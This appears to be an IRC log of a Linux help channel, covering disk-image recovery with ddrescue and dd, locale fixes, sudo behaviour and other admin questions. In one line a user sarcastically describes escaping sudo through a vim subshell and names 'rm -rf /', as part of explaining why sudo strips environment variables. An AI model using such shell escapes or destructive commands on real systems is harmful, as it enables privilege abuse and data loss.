djph> Psi-Jack: maybe I should start doing that with my mails to the manglement. since plaintext sails clear over their heads anyway. 15:56 < Psi-Jack> djph: ˙ooʇ ǝsuǝs ʇɐɥʇ uᴉ ,,ɥƃnouǝ pooƃ,, ǝq plnoʍ sᴉɥ┴ 15:56 < djph> Psi-Jack: indeed, but reading leftways is annoying :) 15:57 < Psi-Jack> revel: There's quite a few sources. just google properly. ") 15:57 < Psi-Jack> djph: Nobody said it had to be easy. :) 15:57 < revel> Psi-Jack: I'll take that as a no. 15:57 < loganlee> guys... installing openstep 4.2 on vm <3 15:58 < nothos> Psi-Jack God bless cryptologists, dramatically increase the amount of annoying stuff I can palm off to the system, which is great for someone who's main reason for liking PCs is that they do the maths for you :D 15:58 < djph> Psi-Jack: I didn't say it wasn't easy, just "annoying". But anyway, back to the real question at hand; a good dummies-guide to /dev/{,u}random 15:58 < djph> ... or I suppose even a "fair" guide is warranted. "good" probably has a lot of math 15:59 < StormWarrior> Hey.. I have set up my vnc using vncserver and everytime I log in using a vnc client, I get int root account. I have tried solutions I found on linuxquestions and unix stackexchange whereby you are required to switch user from first vnc connection and start vncserver as non root user. But I am still not able to get in as a non root user... Any ideas where I might me effin it up? 15:59 < djph> StormWarrior: as in "root@remotehost" is the only account that works, or that "not-root@remotehost" always ends up being root? 16:01 < StormWarrior> djph: so I am using an ssh tunnel with port forwarding and that is to a NON ROOT account.. but I still end up as root when I start up remmina 16:01 < Psi-Jack> revel: gnupg doesn't, for example, use /dev/urandom. 16:01 < djph> sounds like perhaps your vncserver is wrong (i.e. running as root, rather than ... oh whatsit when it acts as root to do the initial load, then falls back to nonroot) 16:02 < djph> Psi-Jack: gnupg2, for example, doesn't work reliably (GRRRR) 16:03 < Psi-Jack> It works very reliably. 16:04 < djph> until you want to use it with mutt, enigmail, or slrn (although, I have apparently fixed slrn) 16:04 < Psi-Jack> Those are problems with mutt, enigmail, or slrn. 16:05 < djph> perhaps. they're choking on the damn gpg-agent ~requirement~ 16:05 < revel> Psi-Jack: Okay, great, that's their choice. 16:06 < revel> I was thinking more along the lines of a paper explaining how /dev/urandom is insecure (in a way that /dev/random isn't) 16:14 < surial> I rebooted a linux machine and one of the plugged in USB disks disappeared on me. How can I find it again? I unplugged and replugged; a light is on on the enclosure. sudo lsusb does not change if I unplug the device. sudo fdisk -l just lists the main (internal) disks, nothing else. 16:15 < Psi-Jack> revel: Here you go: https://eprint.iacr.org/2013/338.pdf 16:15 < ayecee> surial: that's bad news. maybe unplug, power off the enclosure, go get a coffee, power it on, and plug it into a different port. 16:15 < ayecee> surial: if it doesn't work at that point, good chance there's a problem with the drive. 16:15 < surial> okay, so, I'm doing teh right things and the conclusion is: That drive up and died? 16:16 < surial> okay, no problem. It's the drive where backups go. So, I have a backup of it (the.. main drive :P) 16:16 < ayecee> could be. also try on another system 16:16 < surial> yeah, um, I don't have other linux machines around, and I'm pointing luksOpen at it in raw mode... 16:17 < surial> I think I might have something @ home. Or, heck, if I plug it in and the machine at least sees something that's useful info. Hold on a sec, good tip. 16:17 < Psi-Jack> surial: "at" not "@" for future self correction. :) 16:18 < ayecee> >.< 16:20 < revel> Psi-Jack: Does it mention insecurities that /dev/random doesn't also share? 16:20 < Psi-Jack> Oh they both have their insecurities. 16:20 < Psi-Jack> They are not true random numbers. 16:22 < revel> I was specifically asking for reasons to use /dev/random over /dev/urandom, if it's something that affects both, then it's pointless. 16:23 < surial> ayecee: plugged into a mac, 'diskutil list' output does not change. Uhoh. I think he's dead, jim! 16:23 < ayecee> :( 16:24 < ayecee> revel: /dev/urandom supplements randomness with a PRNG when entropy is low, and the state of the PRNG engine could in theory be determined given enough observation and number crunching. 16:24 < ayecee> /dev/random just makes you wait when entropy is low. 16:24 < revel> Doesn't it get reseeeded? 16:24 < ayecee> i'm sure it does. 16:25 < revel> So, determining the state would be pretty much impossible. 16:25 < ayecee> virtually impossible, yes 16:25 < ayecee> impractical, certainly 16:25 < StormWarrior> Hey.. I have set up my vnc using vncserver and everytime I log in using a vnc client, I get int root account. I have tried solutions I found on linuxquestions and unix stackexchange whereby you are required to switch user from first vnc connection and start vncserver as non root user. But I am still not able to get in as a non root user... Any ideas where I might me effin it up? 16:31 < djph> Psi-Jack: oh, joy, figured out gpg2 in mutt. command syntax changed :| 16:35 < houami> why do we generally use dstat 16:37 < djph> no idea, maybe read the manpage 16:44 < FRWB> a command isn't being recognized in bash when i precede it with nohup, whats the deal? 16:44 < FRWB> it's a python based package that works fine when i run the program without the nohup 16:45 < Bunk> hello 16:45 < ayecee> FRWB: what happens when you try 16:45 < FRWB> ayecee, nohup: failed to run command 'blargh': no such file or dir 16:46 < ayecee> what is the output of "which blargh" 16:46 < FRWB> my .local/bin dir 16:46 < FRWB> ~/.local/bin 16:47 < FRWB> ~/.local/bin/blargh to be exact 16:47 < ayecee> is that in your path? 16:47 < FRWB> yea i remember adding it 16:47 < ayecee> what happens if you run it with the fully qualified path? 16:48 < FRWB> ah did not think of that 16:50 < FRWB> hm no dice 16:50 < revel> What's `0L` in Python? 16:50 < ayecee> 32-bit zero 16:50 < revel> nvm 16:50 * jack_rip_vim o/ 16:50 < FRWB> i must be doing something wrong 16:50 < mawk> nothing revel 16:50 < JimmyNeutron> Is there a way to get the size of the current directory and exclude all sub-directories? du -sh always report all subdirectories too 16:50 < mawk> it's invalid 16:50 < ayecee> FRWB: could you try running it without nohup? 16:50 < JimmyNeutron> I tried du -sh --max-depth=0 but that didnt work 16:51 < mawk> JimmyNeutron: du -Shd0 16:51 < FRWB> ayecee, the full dir worked, i was using the wrong username x.x 16:52 < FRWB> with nohup, appreciate the tip 16:52 < ayecee> heh 16:52 < JimmyNeutron> mawk: Thanks! that works! going to read up on those options now 16:52 * jack_rip_vim got some money to reproduct his silly computer 16:52 < mawk> JimmyNeutron: or du -Ssh 16:53 < JimmyNeutron> mawk: Thank you! it works 16:54 < mawk> if I've got a template argument T&&, do I need std::forward to assign it to a rvalue reference ? 16:56 < ayecee> i understand most of those words 16:57 < mawk> :( 16:57 < mawk> `T&& mysupervariable = std::forward(arg);' vs `T&& mywonderfulvariable = arg' 16:59 < azarus> is this the C++ channel, guys? :> 17:00 < Psi-Jack> djph: I'm still surprised there's people that still actually use mutt. :) 17:00 < Psi-Jack> azarus: No. This is a GNU/Linux help channel. 17:00 < azarus> Psi-Jack: what else is there that doesn't suck? 17:00 < azarus> Psi-Jack: sarcasm 17:00 < azarus> (in regards to mawk) 17:00 < Psi-Jack> azarus: Non-sarcastic reply. :) 17:00 < azarus> Psi-Jack: breaking the joke :D 17:01 < azarus> Also, is there a channel that focuses on the Linux, not on the GNU/Linux? 17:01 < Psi-Jack> ##kernel? 17:01 < azarus> Thanks for the pointer. 17:02 < jkemppainen> heh, was that a pun? 17:02 < jkemppainen> since the kernel is written in C 17:02 < Psi-Jack> Hmmm.. That wasn't a pointer. That was a question not a pointer object, as per C. ;) 17:02 < azarus> *ba dum tss* 17:02 < jkemppainen> Psi-Jack: beat ya to it :P 17:02 < Psi-Jack> Just barely. 17:03 < azarus> Thanks for the suggestion of that channel* 17:03 < azarus> See, I can be correct as well! :) 17:03 < Psi-Jack> heh 17:03 < Psi-Jack> azarus: It's over& there* 17:04 < azarus> oh no, pointer dilemma 17:04 < mawk> `int* a' or `int *a' ? 17:04 < mawk> you've got only one chance 17:04 < azarus> One chance, one oppertunity 17:05 < jkemppainen> do not miss your chance to code, 'cause opportunity comes once in a lifetime 17:05 < azarus> To seize everything you ever wanted. In one moment 17:05 < azarus> Would you capture it, or just let it slip? 17:05 < mawk> what's your choice azarus ? 17:05 < azarus> His code's messy, comments weak, editor is slow 17:06 < WeirdTolkienishF> pointers suck 17:06 < azarus> There's a commit on the github already, code's spagetthi 17:06 < WeirdTolkienishF> i use call by reference, unfortunately, in C they're all over the place 17:06 < Psi-Jack> I do C++. I don't do C. 17:07 < noway96> I'm having trouble getting lighttpd running with bottle.py and fastcgi server 17:07 < Psi-Jack> Try harder? 17:08 < noway96> I'm getting: the fastcgi-backend failed to start: child exited with status 13 17:08 < ayecee> get a bigger hammer 17:08 < Psi-Jack> noway96: Try restarting it. 17:08 < WeirdTolkienishF> ik generally don't like languages with lots of little symbols 17:08 < WeirdTolkienishF> i like natural word languages 17:08 < JimBuntu> fastcgi error 13 is permission denied? 17:09 < kalinite> beep beep bloop and I'm away! 17:09 < kalinite> <3 17:11 < JimBuntu> noway96, what's the next line under that exit status in the log say? 17:11 < noway96> JimBuntu, that fixed it but now getting new error. I guess I should actually google the status error codes 17:11 < djph> Psi-Jack: ssh box so I can get IRC and whatnot from anywhere. 17:12 < JimBuntu> noway96, google once, print, memorize. Most are commonly used 17:12 < Psi-Jack> noway96: Advice: Explain more details, less times hitting enter, what you've done, what issues you're having, surrounding environmental details, etc. 17:12 < noway96> print? 17:12 < Psi-Jack> djph: Hmmm. 17:13 < JimBuntu> noway96, back when the dinosaurs roamed, we used to put dark substance on light substance that we made from dead tree carcasses... symbols looked and worked the same as the ones you see today on screen. 17:13 < noway96> JimBuntu, I mean the advice is google, print, memorize. You mean print the soln and memorize it? 17:13 < djph> JimBuntu: wait, wasn't it slightly-dark substance on striped green-and-white substance? 17:13 < JimBuntu> noway96, I mean print the commonly used linux error codes, just a moment 17:14 < JimBuntu> djph, only for the ones that counted who had the most bones 17:14 < djph> haha 17:14 < JimBuntu> noway96, here is a decent list that might even be print worthy - http://www-numi.fnal.gov/offline_software/srt_public_context/WebDocs/Errors/unix_system_errors.html 17:15 < djph> JimBuntu: lpr /usr/include/asm/errno.h 17:15 < djph> don't even need to google it :) 17:15 < Psi-Jack> noway96: What's the "soln" 17:16 < JimBuntu> yeah djph that's going to give the modern version and doesn't require google, where is the fun in that, lol 17:16 < maboc> do not print....save the lighter substance 17:16 < djph> Psi-Jack: text-speek for "I'm too lazy to spell a word" 17:16 < Psi-Jack> Ahh 17:16 < djph> JimBuntu: learning how to setup a printer with lpr first? :) 17:16 < JimBuntu> maboc, good point, much better grey matter retention if they were to re-write the info onto something like a white board. 17:17 < Psi-Jack> noway96: "solution" not "soln". There's a policy here about using chopped english, and soln's a prime example why,. 17:17 < maboc> JimBuntu: grin or even memorize the more important ones :-) 17:17 < JimBuntu> djph, I would hope that man lpr has all that's needed ;-D 17:18 < djph> JimBuntu: you're assuming he'd read a manpage :) 17:18 < Frith> Unix and C are all about chopped English. "cp", "mv", "rm". 17:19 < Frith> "ls", "cc" 17:19 < djph> 'cc'? 17:19 < Psi-Jack> C Compiler 17:19 < djph> ... weird that that's not showing up here... 17:20 < djph> *sigh* did I forget build-essential on this box :| 17:20 < JimBuntu> GASP! djph you don't have cc installed?! 17:20 < djph> JimBuntu: apparently not on this machine 17:20 < Frith> That's going to be a lot of tedious editor work to make your own. 17:21 < djph> have gcc though. ... what is going on here ... 17:21 < djph> ah well, a problem for another time 17:23 < djph> however, going back to the comment itself - those are (contextually) well-known commands. (English) "text-speak" is not necessarily understood by all. 17:23 < mckendricks> Hi, trying to work with an LTO drive via 'mt', doing 'mt -f /dev/nst0 status' works, but 'mt -f /dev/nst0 load' says Input/output error: anybody know why? 17:23 < djph> you can't read from the tape? 17:24 < djph> mckendricks: quick check of the manpage, there's no load command 17:24 < mckendricks> tape isn't in the drive yet, it's positioned to be loaded, but not in yet 17:24 < djph> (at least here) 17:24 < mckendricks> hm 17:25 < Psi-Jack> mckendricks: Well. That's why. 17:25 < mckendricks> djph my manpage has a load operation listed 17:26 < djph> only other thing I can figure then would be the caveat "not all options are available on all systems" 17:27 < mckendricks> this one should have the ability 17:27 < mckendricks> it has done it before 17:27 < mckendricks> hm 17:28 < mckendricks> manually loading and then unloading seems to have done it 17:28 < djph> there ya go 17:28 < mckendricks> would be nice to know why that worked 17:31 < Hanumaan> getting this info with gdisk : https://paste.ubuntu.com/p/zWcNGVwTp6/ trying to repair damaged HDD what is the best option, I'm right now operating on ddrescue image. 17:32 < drb1> edited the terminal config file in ~/.config, will let you know if that solves my problem of going into/out of fullscreen upon pressing F11 17:33 < drb1> gonna quit for the changes to take place. 17:33 < drb1> brb 17:37 < drb1> Alright, time to test! 17:37 < djph> mckendricks: probably something like someone ejected by hand, without ejecting via 'mt'; so there was a disparity between "reality" and "what mt thought was going on" 17:37 < mckendricks> hm 17:38 < djph> I've had that happen sometimes with optical drives 17:38 < drb1> Hmm...strange, even when it is commented it still works.... 17:38 < drb1> How is that happening? 17:38 < djph> Hanumaan: bin it and restore from backups 17:38 < djph> drb1: did you re-source the config file(s)? 17:39 < drb1> djph, like . .config? no 17:39 < Hanumaan> djph: did not completely understood what you mean? 17:40 < blackflag_bfp> n00b question time -> does it really matter what term you are using if you plan on bein in tmux all the time 17:40 < djph> Hanumaan: "forget trying to rescue the data, just restore from a backup" 17:40 < Papierkorb> Hi. I've mmap'd some anonymous memory (fd = -1). Is there a Linux or POSIX function that lets me map the same physical memory to a second virtual address with different PROT_x? Like a mprotect(), but it would return a new address instead and leave the original mapping untouched (and still accessible) 17:41 < djph> blackflag_bfp: I suppose not (although having tmux provide a sane $TERM is probably a good idea) 17:41 < Hanumaan> djph: you mean the data is gone? actually the message what I shown you is from image I have the disk still is it possible to recover data from disk? 17:42 < Hanumaan> djph: I don't have backup, can some partial data can be recovered? 17:42 < djph> Hanumaan: it appears that there are numerous (possibly irrecoverable) errors with the image (and therefore, the drive itself). It would be more time-efficient to simply scrap the drive, and restore your important data from your backups. 17:42 < djph> Hanumaan: obviously, none of that data was important then. 17:42 < Dominian> Psi-Jack: so far I'm impressed 17:43 < Dominian> normally 300+GB push for backups.. it's cut down to like 178GB with compression + deduplication 17:43 < Rukus> i've used testdisk like a deacade ago to retreive data, but its jsut a thought, because i didn't know what i was doing 17:43 < Rukus> and now i backup 17:44 < blackflag_bfp> djph: well I just loaded up xfce4 and so I am using the xfce term to enter tmux, which I assume at this point is how I am supposed to do it. 17:44 < Argorok> I have installed Kubuntu yesterday and dunno if it is a problem specific to it or plasma or something global (seems to be global). I live in Brazil and use a pt-br abnt2 keyboard. After configuring the keyboard layout, date & currency format, etc., my letters are ok system wide (çãáü, etc.), but in terminal they doesn't work. When I press ~ + a I am receiving instead of ã. Why? There is a way to fix 17:44 < Argorok> it? Never happened before with me on linux after keyboard layout change 17:44 < drb1> djph, i've got an error on syntax, but the file was setup this way before i even touched it 17:45 < djph> blackflag_bfp: well, one way. You could always "enter" it via tty1 17:45 < drb1> strange stuff indeeed 17:45 < djph> drb1: huh? 17:46 < drb1> i'm editing the accelerator file for the terminal, djph 17:46 < djph> Argorok: terminal operates differently than a DE 17:46 < fChanX> Hey. Is 7z generally worse than tar.gz, tar.bz2, or tar.xz? :/ 17:46 < blackflag_bfp> djph: ah you mean the VT's f1-f6 login, sry I have only been with this for under a week :) 17:46 < ozymandias> depends on the use-cases 17:47 < djph> blackflag_bfp: yup 17:47 < djph> blackflag_bfp: there are a couple of ways to skin that cat ;) 17:47 < Hanumaan> djph: just want to understand what happened is it physical disk error or what is it? 17:47 < Argorok> djph: they always changed together. I dont even mean the ctrl+alt+f2 terminals, but inside the emulators (I am currently using terminator) and using zsh as shell 17:48 < blackflag_bfp> djph: great, thanks! I was running awesomeWM which I did like but heard about using I3Wm alongside xfce to get the best of both worlds 17:48 < fChanX> 7z? :/ 17:48 < Argorok> djph: in bash, for example, ~ + a gives me # and skips the line, instead of ã 17:48 < djph> Argorok: yeah, but if you've got a locale variable (mis-)set for your shell 17:48 < drb1> 1 ; xfce4-terminal GtkAccelMap rc-file -*- scheme -*- 17:48 < drb1> 2 ; this file is an automated accelerator map dump 17:48 < drb1> 3 ; 17:48 < drb1> anything look wrong there? 17:48 < drb1> I don't think so 17:48 < Dagmar> Everything pasted to the channel 17:48 < djph> Hanumaan: no idea, why'd you make the image to try recovering data? 17:48 < djph> Dagmar: bah, you beat me to it 17:49 < ozymandias> fchanx https://imgur.com/a/0a3kK 17:49 < Hanumaan> djph: this was suggestion given by some on the main disk I tried with testdisk this is what I got: https://paste.ubuntu.com/p/qCj3WgpJRy/ 17:51 < Argorok> djph: https://www.irccloud.com/pastebin/kfhJFWmh/ 17:51 < sarthor> Hello, I have a laptop that I want to used for Calander , Wall clock / weather info mounted on wall. What Linux distro will be better for this purpose, my laptop image is https://imagebin.ca/v/3yG2SxAZ4028 17:51 < Hanumaan> djph: the loop device basically showed this: https://paste.ubuntu.com/p/jGF8PT5x5M/ but when gdisk showed real paritions size : https://paste.ubuntu.com/p/zWcNGVwTp6/ I felt there is some hope .. 17:51 < Argorok> djph: my locale command output 17:51 < djph> Hanumaan: well, then that's what you've got. Lots of garbage bits of files that you're gonna have a fun time working through. 17:51 < sarthor> also alrams 17:52 < ozymandias> sarthor, any of them will do just fine 17:52 < ozymandias> pick one you are comfortable maintaining 17:53 < Hanumaan> djph: can in this: https://paste.ubuntu.com/p/qCj3WgpJRy/ I get just first 2 paritions (named as Backup1, Backup) ? Because others I can forget 17:54 < djph> dunno, can you? 17:54 < djph> ddrescue *MAY* help. or it won't 17:54 < djph> trying to recover data from a failed harddrive is ... well ... touchy on a good day. it's why you make backups 17:55 < ozymandias> if it wasnt important enough to back up, its not important enough to waste time trying to recover. 17:56 < Hanumaan> ozymandias: well I do have backup but geographically located very far 17:58 < Argorok> djph: dunno why or how, but /etc/default/locale has LANG=en_US.UTF-8, did an update-local LANG=pt_BR.UTF-8 and rebooted (Windows costume hahahahaha) Worked like a charm. Thanks for pointing it out :) 18:06 < djph> there ya go 18:07 < blackflag_bfp> Hey there CodeBug 18:10 < JimBuntu> Hanumaan, are you able to dd from 2048 to 2147485695 into an image? 18:11 < Hanumaan> JimBuntu: I imaged complete from ddrescue, did not exclusively tried within that sectors 18:11 < Hanumaan> JimBuntu: but surely ddrescue did not do completely as I had data of around 1.8TB and ddrescue made only 450GB 18:11 < JimBuntu> Hanumaan, if you have a complete image already, then you should be able to extract those 2 partitions from the image into new ones. 18:12 < edd_lc> can anyone recommend a pretty Linux themed wallpaper? 18:12 < Dagmar> Probably. 18:12 < Dagmar> Some people might cheat and use Google for it, though. 18:12 < Hanumaan> JimBuntu: if the image is just 450GB and data (in 2 partitions with btrfs) was 1.8 TB does it means already data is lost? 18:12 < JimBuntu> Hanumaan, Rule#9 (the first 8 are about making proper backups and backups of those backups) is to touch the bad drive as little as possible. I suggest you check out ddrescue commands that allow you to pick the starting and ending bytes 18:13 < JimBuntu> Hanumaan, no, it means the image failed. 18:13 < Dagmar> If btrfs was involved, ddrescue can't do the impossible. 18:14 < JimBuntu> That's a good point, btrfs bring a new level of complication. The key is to get a reliable copy of whatever you can off that failing media 18:14 < Dagmar> ddrescue is for coercing an image out of a failing hard drive. It can't unscramble what btrfs did to the files 18:16 < Hanumaan> JimBuntu: I suppose I have already touched those drives as it was something before and after deep scan with ddrescue now showing nothing .. can testdisk recover any data if I run again? at the first of running I just did the analysis not further 18:16 < ozymandias> well, at least you have backups 18:16 < JimBuntu> Hanumaan, seriously, touch as little as possible... any failed recovery attempt that writes can surely flip your bits. Any attempted direct recovery that causes read duties can lead to further failures. 18:17 < Dagmar> Or, in simpler terms, used ddrescue to make an image of the drive, _then only attempt to recover data from that image or copies of that image_ 18:17 < Dagmar> ...and stop giving credence to ludicrous marketing-speak terminology like "deep scan" 18:17 < ozymandias> image drive, duplicate image, try to repair the duplicate image 18:18 < drb1> anyone here running xubuntu? 18:18 < drb1> i'm having a problem with the key binding and terminal 18:18 < ozymandias> dont touch the drive after the image is made, and onyl use the original image to make new duplicates 18:18 < Dagmar> Remember, kids: Friends don't let friends use SpinRite 18:18 < blackflag_bfp> Dagmar: lol 18:19 < qazey> Can someone come with me to Drive-Thru? 18:19 < ozymandias> which one? 18:20 < h7x4> Jimbuntu: you talked about dding from 2048 to a long number. What are the 2048 first bits/bytes reserved for? 18:20 < qazey> Whichever ones is close and regarded as a better choice. 18:20 < o|0o^|> qazey: if you buy me a large freedom fries 18:20 < qazey> T.G.I.F. sometime. Crepe pancakes? 18:21 < JimBuntu> boot related, old school 18:21 < Dagmar> Also, making people waste their time 18:21 < JimBuntu> sectors 18:21 < Dagmar> It's not worth bothering skipping three sectors 18:21 < h7x4> ah. The MBR? 18:21 < mckendricks> ok, so mt -f /dev/nst0 load works, but says input/output error after loading. dmesg shows "Enter sas_scsi_recover_host busy: 1 failed: 1" what can I do to correct? 18:22 < JimBuntu> and "track alignment" 18:22 < Hanumaan> Dagmar, JimBuntu: what is the best method to get the image(dd) between sectors? 18:22 < Dagmar> "between sectors"? 18:22 < ozymandias> thats not a think 18:22 < ozymandias> thing* 18:22 < Dagmar> Calling Ms. Cleo, or possibly Morty McFly 18:22 < ozymandias> Marty 18:23 < ozymandias> ;-) 18:23 < Dagmar> It's possible McFly could let you sneak into the DeLorean and let you go back to 1992 when MFM drives were a thing 18:23 < Dagmar> There's no "between sectors" now and whatever you were reading that has let you to believe there is, you should blacklist at your network gateway 18:23 < Hanumaan> Dagmar: as JimBuntu was suggesting that not to touch which is not required so my data is in first partitions (https://paste.ubuntu.com/p/qCj3WgpJRy/) so want to get image between those sectors 18:24 < JimBuntu> Hanumaan, the only paste I opened of yours showed the partitions in that way. The point is that you want what's in those partitions. I suggest doing it in chunks, but it's nearly the same to process the entire drive. 18:24 < qazey> Just use a VM. 18:24 < Dagmar> No, you need to use a tool that you can understand 18:25 < Dagmar> I don't for one second belive that a normal human being created that list of partitions 18:25 < ozymandias> haah 18:25 < ozymandias> tht partition table is gold 18:25 < JimBuntu> Dagmar, that's some crazy looking stuff, isn't it? 18:26 < Dagmar> Just use ddrescue to make an image of the entire freakin' drive 18:26 < ozymandias> or restore your backup 18:26 < JimBuntu> Do you think it's just wrecked enough that it is totally messing up the interpretation? 18:26 < Dagmar> It's going to take hours and hours, and skipping a few sectors will shave maybe ten seconds off that 18:26 < ozymandias> this is getting into nightmare realms 18:26 < Hanumaan> I have not done that partition but testdisk analysis gave that output, I actually had only 3 partitions first 2 and another Windows partition 18:27 < Dagmar> JimBuntu: I think the thing is trying to _guess_ at the partition layout based on what it sees on the disk 18:27 < qazey> bs=1k. 18:27 < Dagmar> That's not a step anyone should have to go to unless they managed to zero their partitioon table or otherwise corrupt the GPT 18:27 < JimBuntu> image whole drive, pray for no read issues, maybe you can tease out where the partitions really end/start. 18:27 < Dagmar> Hence, use tools you can actually understand 18:27 < JimBuntu> qazey, you're bad ;-D 18:28 < Dagmar> Theres probably just one partition, and it'll probably have been made by slapping enter and using the defaults 18:28 < Hanumaan> JimBuntu: tried to do image whole drive with ddrescue but it made just partial image does this mean should I change the tool or I should try again with ddrescue? 18:28 < Dagmar> If there's more than one and the user managed to trash the partition table, _there are tools_ for reading through and trying to figure out where the partitions were based on the disk, but they're not tools you use until you're sure the partition table was lost 18:29 < Dagmar> Hanumaan; You should read the docs for ddrescue 18:29 < Dagmar> IF you used it correctly and it only got a "partial image" then the other data is *gone* and you're not getting it back without contacting a professional DR firm 18:30 < Dagmar> If that's an option for you, then continuing to _use the drive risks further destroyting the data_. Stop touching it *now* and send it to professionals. 18:31 < Hanumaan> Dagmar: when I mounted the image as loop device I have this : https://paste.ubuntu.com/p/jGF8PT5x5M/ but unable to mount those devices: https://paste.ubuntu.com/p/nF5CTFtcrR/ and this : https://paste.ubuntu.com/p/zWcNGVwTp6/ 18:33 < Dagmar> You have an absolutely astounding ability to ignore what tools are telling you 18:35 < Dagmar> *did* you partition the disk into two 128G partitions and a ~30G vfat partition? 18:35 < Hanumaan> Dagmar: no, partitions were 1TB, 1TB, 250GB 18:36 < Dagmar> Then why did you continue to fumble onwards after fdisk told you it saw 128G partitions? 18:36 < Hanumaan> Dagmar: felt I could recover partial data, ofcourse my understanding was wrong 18:36 < munchlax> yo, for systemd can if you point StandardOutput to file:x does it also still go to the journal? 18:37 < Dagmar> Maybe next time around you'll remember your disk didn't have a 512 byte sector size 18:37 < Dagmar> When you're trying to recover data and _tools start saying things you know aren't true_ then you did something wrong 18:37 < Dagmar> You don't just keep plodding along and hoping things will work out 18:38 < Dagmar> YOu go figure out what you set wrong 18:38 < JimBuntu> This is why you only recover from an image ;-) 18:39 < Hanumaan> Dagmar: gdisk showed proper paritions: but they are not getting shown completely. I'm trying only on the backup of the image 18:39 < esotericnonsense> is there a way to pass environment variables to sudo? 18:39 < Dagmar> Assuming you didn't trash the image, you can still try again with fdisk using the sector size argument to set the sector size to 4096 like it almost certainly should be 18:39 < esotericnonsense> e.g. EDITOR=vim sudo crontab -e doesn't work 18:41 < Dagmar> By design, sudo will ignore pretty much all the environment variables 18:42 < Dagmar> You shouldn't need to set crontab's editor to vim in the first place 18:43 < Hanumaan> Dagmar: you right it shows correctly now I suppose: https://paste.ubuntu.com/p/ybZ6KncxdS/ but how to mount them? 18:43 < TechSmurf> esotericnonsense: crontab's manpage suggests -E may do what you want. 18:43 < Dagmar> The _simple_ way would be to use dd to extract the partitions from the image 18:44 < TechSmurf> oh wait, sudo is the problem 18:44 < Dagmar> You can mount a file that is a partition extracted all by itself quite easily 18:44 < TechSmurf> esotericnonsense: I'm a retard. *sudo's* manpage suggests -E may do what you want :P 18:45 < Dagmar> TechSmurf: You're not as bad as someone trying to get sudo to preserve envvars. It ignores them _for very good reason_ 18:46 < jhaenchen> testing 18:46 < JimBuntu> jhaenchen, your "testing" didn't show up at all. 18:46 < Dagmar> But hey, let's all dance around and sing while we use vim to spawn a subshell and bypass the silly restriction that might only let the cs rep account run crontab to edit customers crontab files without giving them the ability to rm -rf / 18:47 < jhaenchen> Finally. Any USB/HID experts here or a good chan recommendation? Trying to use HID Feature Reports to increase the volume of a device 18:47 < cubillosxy_py> hello, i need to edit a file in bash but i have not vim or nano, how to do that? 18:47 < JimBuntu> cubillosxy_py, do you have pico? 18:47 < Dagmar> cubillosxy_py: sed and perl come to mind 18:47 < Dagmar> Ther's also possibly edlin 18:47 < cubillosxy_py> sed? 18:48 < jhaenchen> vi? 18:48 < JimBuntu> cubillosxy_py, `man sed` 18:48 < cubillosxy_py> thanks 18:49 < cubillosxy_py> bash: man: command not found :/ 18:49 < TechSmurf> Dagmar: you've sure got a rosy outlook remaining :P 18:49 < jhaenchen> ha 18:49 < JimBuntu> cubillosxy_py, are you on an embedded machine? 18:49 < cubillosxy_py> yeah 18:49 < cubillosxy_py> JimBuntu, yeah 18:49 < Dagmar> TechSmurf: Years and years and years of snapping people's security over my knee 18:49 < JimBuntu> try `busybox` cubillosxy_py it's a shot in the dark, but *may* let us know what you have (if they used busybox) 18:50 < cubillosxy_py> i need to hunt a error then i need in in the core. 18:50 < Dagmar> Good luck trying to read a core file with a text editor 18:50 < TechSmurf> Dagmar: the -E flag appears non-functional anyway 18:51 < TechSmurf> I can't get it to work as expected 18:51 < Hanumaan> Dagmar: will this be good command to extract partition image: *dd if=/dev/loop0p1 of=/mnt/Toshiba4TB/partionimages/parition1.img bs=4096 conv=noerror,sync* 18:51 < Dagmar> Hanumaan: Assuming the partitions are correct now 18:52 < Dagmar> If they're there are /dev/loop0p1 you should be able to mount them as that 18:52 < Dagmar> s/are/at/ 18:53 < Dagmar> Considering the amount of time it takes to recover a 4Tb disk, you might wnat to consider the rule I'm about to institute here 18:53 < Dagmar> *No drives larger than 2Tb in desktops* 18:53 < TechSmurf> Dagmar: thanks for the security aspect enlightenment, btw. 18:54 < mawk> why does execve() take `char *const argv' and not `const char *const argv' or something like that ? 18:54 < mawk> it messes up my whole C++ typing 18:54 < Dagmar> TechSmurf: No worries. The main reason sudo purges the environment variables is that there's far too many ways for admins to fail by allowing a user to execute some command that *surprise* can spawn a subshell, which would consequently be a _root_ shell in most cases 18:55 < Hanumaan> Dagmar: I was not able to mount /dev/loop0p1 before tried this command "sudo mount -t btrfs -o loop /dev/loop0p1 /home/CD/CLPB/RecoveredData/one" but it did not worked 18:55 < TechSmurf> Dagmar: yeah.. I don't often have to evaluate that decision, so I'd never really considered it. 18:56 < Dagmar> Hanumaan: Then you didn't set up the loop devices using the proper sector sizes, and if you can't figure that out then you should use dd to just read the partition out using the sector offsets and some simple math 18:56 < Dagmar> ...as in extract it from the whole-disk image, not read it through the /dev/loop0p1 device you can't get right 18:56 < TechSmurf> 20+ years of this.. still learning something new every day 18:58 < sarthor> how can I display full screen clock, date with weather and alarm on linux gui machine. 18:58 < blackflag_bfp> sarthor: old skool conky? 18:59 < Psi-Jack> Dominian: Good stuff once you understand it, eh? 18:59 < Dominian> Psi-Jack: yeah 18:59 < Dominian> Psi-Jack: I might throw the web interface up 18:59 < Psi-Jack> Web interface? 19:00 < blackflag_bfp> Psi-Jack: morning 19:00 < Dominian> https://github.com/borgbackup/borgweb 19:00 < Dominian> ^^^ 19:00 < Psi-Jack> Ahhh. J,,, 19:00 < Psi-Jack> Hmmm 19:00 < Psi-Jack> Might have to look into that myself. heh 19:00 < Dominian> :) 19:01 < Dominian> Psi-Jack: trying to find a way to send a notification out when the backup completes with the stats.. looks like all loggin ggoes to stderr so.. might have to just redirect it to 'mail' or what not 19:01 < blackflag_bfp> Psi-Jack: I re-instaled debian to get rid of the funky encryption and now runiing xcfe4 using tmux and such. way awesome, thanks fir the insight! 19:02 < Psi-Jack> Dominian: Well, if you do the systemd.timer. you don't need the emails. ;) 19:02 < Psi-Jack> You could just always check the journals. :) 19:02 < Psi-Jack> blackflag_bfp: Which funky encryption? 19:03 < Dominian> Psi-Jack: hmm yeah, but still would like an email once the backup is done 19:03 < Dominian> since it lists the 'stats' by default 19:03 < Psi-Jack> True. 19:03 < Dominian> look like I can redirect stderr to do an email of some kind 19:03 < Dominian> will keep researching 19:03 < jhaenchen> Lemme know if any of you have any thoughts for this HID/USB question https://stackoverflow.com/questions/49821950/increasing-the-volume-of-an-hid-device-using-feature-reports 19:04 < blackflag_bfp> Psi-Jack: had some issues with the 